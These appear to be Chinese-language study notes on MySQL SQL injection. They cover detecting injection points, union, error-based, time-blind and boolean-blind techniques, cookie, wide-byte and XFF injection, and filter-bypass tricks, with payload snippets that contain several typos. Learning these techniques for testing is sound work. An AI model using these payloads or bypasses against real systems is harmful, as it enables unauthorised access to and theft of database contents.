文章目录
一.判断sql注入点
- 一.判断sql注入点
- 二.其他
- 三.整型报错注入#:
- 四.union注入绕过
- 五.时间盲注
- 六.布尔盲注
- 其他注入
- SQL语句绕过
- 图片笔记
- 看完从0到1的笔记
- 整型数字型报错注入点:使用URL后id=1 and 1=1页面正常显示,id=1 and 1=2,页面报错,则存在整型数字型注入。或者如果id=1跟id=3-2返回的结果是一样的,则说明是数字型注入
- 字符型报错注入:id=30’,页面报错,则可能是字符型注入点,但也可能存在括号,双引号注入等。用id=30’ #,返回结果跟id=30,一样,则说明是字符型注入
- id =30 order by 3正常,by 4报错,则说明是3列。
- 补充:information_schema是mysql系统自带的一个数据库,有三个表,schemata是存储着许多数据库名的表,tables表,存储着表名,指出了这些表分别属于的数据库名,columns表,指出列名分别属于的数据库名和表名
- 内联注释:mysql一些特殊的sql语句,用/**/来注释掉,使不兼容的数据库类型不能读取,但是mysql本身可以读取该语句 #三.报错注入: 利用数据库语句报错显示该有的信息,通常使用mysql_error来查看上次查询语句出现的错误信息。
- 判断条件:输入 sql语句后,返回的错误信息可以得到我们想得到的一些值。
- 什么是整型报错注入:URL中的参数是整数,一般可以比用 单引号来闭合。
- 报错函数: (1)使用updatexml函数。 URL?id=1’出现报错,因为单引号未闭合; 查询user名:’ and updatexml(1,concat(ox7e,(select user()),ox7e),1) 查询数据库名:’ and updatxml(1,concat(ox7e,(select schema_name from information_schema.schema limit0,1)ox7e),1) 注:concat函数可以用来连接字符串,遇到特殊字符就会报错,只能爆出32字符,所以需要substr来依次进行报错信息字符串 limit m,n:m表示起始的位置,n表示几个 查询表名:’ and updatexml(1,(ox7e,concat(select table_name from information_schema.tables where table_schema=‘test’ limit 0,1)ox7e),1) (2)Extractvalue(与updatexml类似的) (3)exp函数溢出和按位溢出: select ~(select user())返回用户名 select ~(select version())返回数据库版本 exp()函数表示e的多少次方,当大于709时,就会报错 实例:union select 1,2,exr(~(select* from (select version())x)) (4)floor函数: Rand():取随机数 rand(0)2: Floor():向下取整数 Concat():连接字符串 Count():计算总数 与group by相结合 select id,count from user group by id. 实例注入: select count(),concat(version(),database(),floor(rand(0)*2))x form user group by x. 报错注入绕过 使用polygon方法进行爆出信息 #union注入: union函数:连接多个select语句,必须保证查询列数相同 concat:连接字符串,group_concat使用逗号做分隔符,cancat_ws(sep,str1,str2)使用第一个参数做分隔符
步骤:
- 判断注入点:id =1’无异常,id=1’ and 1=1无异常,id=1’ and 1=2异常,说明存在整型注入点,还用可能是,单引号,双引号,括号注入点,或者,单引号括号共同,或者双引号括号一起的
- 求闭合字符
- 求列数:order by函数,通过select * from 表名,可以判断。
- 求显示位
- 求数据库名
- 求表名
- 求列名
- 求字段名。 实例分析:
- id=1与id=1’结果不相同,id=1 and 1=1与id=1 and 1=2结果不一样->存在sql漏洞
- id=1 order by查询列数为3
- union select1,2,3,爆出2:3
- union select1,database(),3,爆出数据库名
- elect table_name from information_schema.tables where table_schema=数据库名 limit0,1 -->得到表名
- select column_name from information_schema.colunms where table_schema=数据库名 and table_name=表名 limit 0,1 需要爆出多个字段名,只需要改变 limit1,1
- 过滤了select x from y类似的正则,就需要,将from与y不留空格符号,若3与from不留空格,就会报错,()与from不留空格,不会报错,
- 过滤了union等关键字,如果用的srt_ireplace(),可以双写绕过,
- or and关键字过滤,使用&&,||来绕过
- 空格被过滤,使用+来进行绕过。
- 使用sleep()函数,通过时间等待的长短来判断,sql语句是否执行
- 当数据库所没有要查询的内容,则sleep函数也没有用
- substr(string String,起始的位置,所用的长度(lenth)),起始的位置从1数起,不是0
- count()函数: count(*),返回记录数 count(列名),返回该列的记录数 count(distinct 列名),返回不同的记录总数
- 基于时间的盲注: if(条件,sleep(3),1)条件成立,停三秒 if(条件,1,sleep(3))条件成立,直接执行。
- 判断条件:一般注入的时候,当输入语句时,不会返回任何值,只返回yes或者no。
- 在布尔盲注会用到length来得到数据库的长度
- substr(字符串,开始的位置,几个字符串),与limit不同的是,开始的位置是1,不是0.
- 其他的基本跟union注入差不多,只是要对每个字符进行遍历猜测
- 二次注入:两张表,一张表上进行注册某个内容,进行sql语句,另一张表上查询,就可以看到sql注入的效果
- cookie注入:在http请求包的头部字段名,可以看到cookie处由id=1这种注入点
- 宽字节注入:注入语句的单引号被转义了,中间加了一个反斜杠,所以党数据库的编码为GBK时,就可以加上%df来绕过
- base64注入:对sql语句进行URL编码等,来绕过
- XFF注入:X-Forwarded-for时用来传输客户端IP地址的,可以加上一些SQL语句
- 大小写绕过
- 双写绕过
- 编码绕过
- 内联注释绕过
- 基本的URL编码:%20是空格,%27是单引号,%23是#